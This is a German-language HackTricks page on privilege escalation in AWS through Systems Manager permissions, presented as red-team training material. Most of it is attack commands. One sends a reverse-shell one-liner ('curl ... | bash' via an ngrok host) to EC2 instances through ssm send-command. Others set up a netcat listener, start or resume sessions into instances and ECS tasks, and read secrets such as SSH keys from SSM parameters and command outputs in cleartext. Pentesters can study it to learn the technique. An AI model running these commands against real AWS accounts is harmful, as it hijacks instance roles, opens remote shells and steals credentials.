AWS - SSM Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

SSM

Für weitere Informationen zu SSM siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle in Instanzen ausführen, die den Amazon SSM Agent ausführen, und die IAM-Rolle kompromittieren, die darin läuft.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Falls Sie diese Technik verwenden, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu eskalieren, könnten Sie einfach die rev shell lokal mit folgendem Befehl erfassen:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.

ssm:StartSession

Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-ähnliche Sitzung in Instanzen starten, die den Amazon SSM-Agenten ausführen, und die IAM-Rolle kompromittieren, die darin ausgeführt wird.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin installiert: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten angehängt sind.

Privilegieneskalation zu ECS

Wenn ECS-Aufgaben mit ExecuteCommand aktiviert ausgeführt werden, können Benutzer mit ausreichenden Berechtigungen ecs execute-command verwenden, um einen Befehl innerhalb des Containers auszuführen.
Laut der Dokumentation geschieht dies durch die Erstellung eines sicheren Kanals zwischen dem Gerät, das Sie verwenden, um den “exec“ Befehl zu initiieren, und dem Zielcontainer mit SSM Session Manager. (SSM Session Manager Plugin ist notwendig, damit dies funktioniert)
Daher werden Benutzer mit ssm:StartSession in der Lage sein, eine Shell innerhalb von ECS-Aufgaben mit dieser Option aktiviert zu erhalten, indem sie einfach Folgendes ausführen:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den ECS IAM-Rollen, die an laufende Aufgaben mit aktiviertem ExecuteCommand angehängt sind.

ssm:ResumeSession

Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM-Agenten ausführen, mit einem getrennten SSM-Sitzungsstatus neu starten und die IAM-Rolle, die darin ausgeführt wird, kompromittieren.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potenzielle Auswirkungen: Direkte Privilegieneskalation zu den EC2 IAM-Rollen, die an laufende Instanzen mit SSM-Agenten und getrennten Sitzungen angehängt sind.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, die SSM-Parameter aufzulisten und diese im Klartext zu lesen. In diesen Parametern kann man häufig sensible Informationen wie SSH-Schlüssel oder API-Schlüssel finden.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potenzielle Auswirkungen: Sensible Informationen innerhalb der Parameter finden.

ssm:ListCommands

Ein Angreifer mit dieser Berechtigung kann alle Befehle auflisten, die gesendet wurden, und hoffentlich sensible Informationen darin finden.

aws ssm list-commands

Potenzielle Auswirkungen: Sensible Informationen in den Befehlszeilen finden.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ein Angreifer mit diesen Berechtigungen kann alle Befehle auflisten, die gesendet wurden, und die Ausgabe lesen, in der Hoffnung, sensible Informationen darin zu finden.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potenzielle Auswirkungen: Sensible Informationen in der Ausgabe der Befehlszeilen finden.

Codebuild

Sie können SSM auch verwenden, um in ein Codebuild-Projekt, das gerade erstellt wird, einzutreten:

AWS - Codebuild Privesc

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks